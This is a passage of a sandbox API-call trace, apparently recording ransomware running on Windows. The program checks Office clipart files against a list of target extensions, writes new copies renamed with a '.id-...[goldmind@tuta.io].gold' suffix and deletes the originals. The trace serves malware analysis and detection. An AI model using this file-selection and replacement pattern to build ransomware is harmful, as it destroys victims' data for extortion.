lstrlenW (lpString=".rar") returned 4 [0052.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString=".bz2") returned 4 [0052.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString=".7z") returned 3 [0052.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.943] lstrlenW (lpString=".dbf") returned 4 [0052.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.943] lstrlenW (lpString=".1cd") returned 4 [0052.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.943] lstrlenW (lpString=".jpg") returned 4 [0052.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.943] lstrlenW (lpString=".doc") returned 4 [0052.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString=".docx") returned 5 [0052.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.943] lstrlenW (lpString=".pdf") returned 4 [0052.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString=".xls") returned 4 [0052.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.943] lstrlenW (lpString=".xlsx") returned 5 [0052.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.943] lstrlenW (lpString=".ppt") returned 4 [0052.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.943] lstrlenW (lpString=".zip") returned 4 [0052.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.943] lstrlenW (lpString=".rar") returned 4 [0052.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString=".bz2") returned 4 [0052.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString=".7z") returned 3 [0052.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.943] lstrlenW (lpString=".dbf") returned 4 [0052.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.943] lstrlenW (lpString=".1cd") returned 4 [0052.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0052.944] lstrlenW (lpString=".jpg") returned 4 [0052.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.944] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0052.944] lstrlenW (lpString="BL00254_.WMF") returned 12 [0052.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.325] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1736) returned 1 [0053.325] CloseHandle (hObject=0x208) returned 1 [0053.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0053.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.326] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.326] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0053.326] GetLastError () returned 0x0 [0053.326] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x6c8, lpOverlapped=0x0) returned 1 [0053.329] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0053.330] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.330] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.330] SetEndOfFile (hFile=0x1a0) returned 1 [0053.330] CloseHandle (hObject=0x1a0) returned 1 [0053.330] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.330] SetEndOfFile (hFile=0x208) returned 1 [0053.331] CloseHandle (hObject=0x208) returned 1 [0053.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0053.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.331] lstrlenW (lpString=".doc") returned 4 [0053.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.331] lstrlenW (lpString=".docx") returned 5 [0053.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.331] lstrlenW (lpString=".pdf") returned 4 [0053.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.331] lstrlenW (lpString=".xls") returned 4 [0053.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.331] lstrlenW (lpString=".xlsx") returned 5 [0053.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.331] lstrlenW (lpString=".ppt") returned 4 [0053.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.332] lstrlenW (lpString=".zip") returned 4 [0053.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.332] lstrlenW (lpString=".rar") returned 4 [0053.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString=".bz2") returned 4 [0053.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString=".7z") returned 3 [0053.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.332] lstrlenW (lpString=".dbf") returned 4 [0053.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.332] lstrlenW (lpString=".1cd") returned 4 [0053.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.332] lstrlenW (lpString=".jpg") returned 4 [0053.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.332] lstrlenW (lpString=".doc") returned 4 [0053.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString=".docx") returned 5 [0053.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.332] lstrlenW (lpString=".pdf") returned 4 [0053.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString=".xls") returned 4 [0053.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.332] lstrlenW (lpString=".xlsx") returned 5 [0053.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.332] lstrlenW (lpString=".ppt") returned 4 [0053.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.332] lstrlenW (lpString=".zip") returned 4 [0053.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.332] lstrlenW (lpString=".rar") returned 4 [0053.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString=".bz2") returned 4 [0053.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString=".7z") returned 3 [0053.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.332] lstrlenW (lpString=".dbf") returned 4 [0053.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.332] lstrlenW (lpString=".1cd") returned 4 [0053.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0053.332] lstrlenW (lpString=".jpg") returned 4 [0053.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.333] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.333] lstrlenW (lpString="BL00261_.WMF") returned 12 [0053.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.333] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=12482) returned 1 [0053.333] CloseHandle (hObject=0x208) returned 1 [0053.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0053.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.333] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.333] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0053.333] GetLastError () returned 0x0 [0053.334] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0053.335] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0053.336] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.336] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.336] SetEndOfFile (hFile=0x1a0) returned 1 [0053.336] CloseHandle (hObject=0x1a0) returned 1 [0053.336] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.336] SetEndOfFile (hFile=0x208) returned 1 [0053.337] CloseHandle (hObject=0x208) returned 1 [0053.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0053.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.337] lstrlenW (lpString=".doc") returned 4 [0053.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.337] lstrlenW (lpString=".docx") returned 5 [0053.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.337] lstrlenW (lpString=".pdf") returned 4 [0053.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString=".xls") returned 4 [0053.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.338] lstrlenW (lpString=".xlsx") returned 5 [0053.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.338] lstrlenW (lpString=".ppt") returned 4 [0053.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.338] lstrlenW (lpString=".zip") returned 4 [0053.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.338] lstrlenW (lpString=".rar") returned 4 [0053.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString=".bz2") returned 4 [0053.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString=".7z") returned 3 [0053.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.338] lstrlenW (lpString=".dbf") returned 4 [0053.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.338] lstrlenW (lpString=".1cd") returned 4 [0053.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.338] lstrlenW (lpString=".jpg") returned 4 [0053.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.338] lstrlenW (lpString=".doc") returned 4 [0053.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString=".docx") returned 5 [0053.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.338] lstrlenW (lpString=".pdf") returned 4 [0053.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString=".xls") returned 4 [0053.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.338] lstrlenW (lpString=".xlsx") returned 5 [0053.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.338] lstrlenW (lpString=".ppt") returned 4 [0053.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.338] lstrlenW (lpString=".zip") returned 4 [0053.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.338] lstrlenW (lpString=".rar") returned 4 [0053.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString=".bz2") returned 4 [0053.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.338] lstrlenW (lpString=".7z") returned 3 [0053.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.338] lstrlenW (lpString=".dbf") returned 4 [0053.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.339] lstrlenW (lpString=".1cd") returned 4 [0053.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0053.339] lstrlenW (lpString=".jpg") returned 4 [0053.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.339] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.339] lstrlenW (lpString="BL00262_.WMF") returned 12 [0053.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.340] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2556) returned 1 [0053.340] CloseHandle (hObject=0x208) returned 1 [0053.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0053.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.340] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.340] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0053.340] GetLastError () returned 0x0 [0053.340] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x9fc, lpOverlapped=0x0) returned 1 [0053.341] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0053.342] ReadFile (in: hFile=0x208, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.342] WriteFile (in: hFile=0x1a0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.342] SetEndOfFile (hFile=0x1a0) returned 1 [0053.342] CloseHandle (hObject=0x1a0) returned 1 [0053.343] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.343] SetEndOfFile (hFile=0x208) returned 1 [0053.343] CloseHandle (hObject=0x208) returned 1 [0053.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0053.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.344] lstrlenW (lpString=".doc") returned 4 [0053.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.344] lstrlenW (lpString=".docx") returned 5 [0053.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.344] lstrlenW (lpString=".pdf") returned 4 [0053.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.344] lstrlenW (lpString=".xls") returned 4 [0053.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.344] lstrlenW (lpString=".xlsx") returned 5 [0053.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.344] lstrlenW (lpString=".ppt") returned 4 [0053.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.344] lstrlenW (lpString=".zip") returned 4 [0053.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.344] lstrlenW (lpString=".rar") returned 4 [0053.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.344] lstrlenW (lpString=".bz2") returned 4 [0053.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.344] lstrlenW (lpString=".7z") returned 3 [0053.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.344] lstrlenW (lpString=".dbf") returned 4 [0053.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63 [0053.344] lstrlenW (lpString=".1cd") returned 4 [0053.344] lstrcmpiW 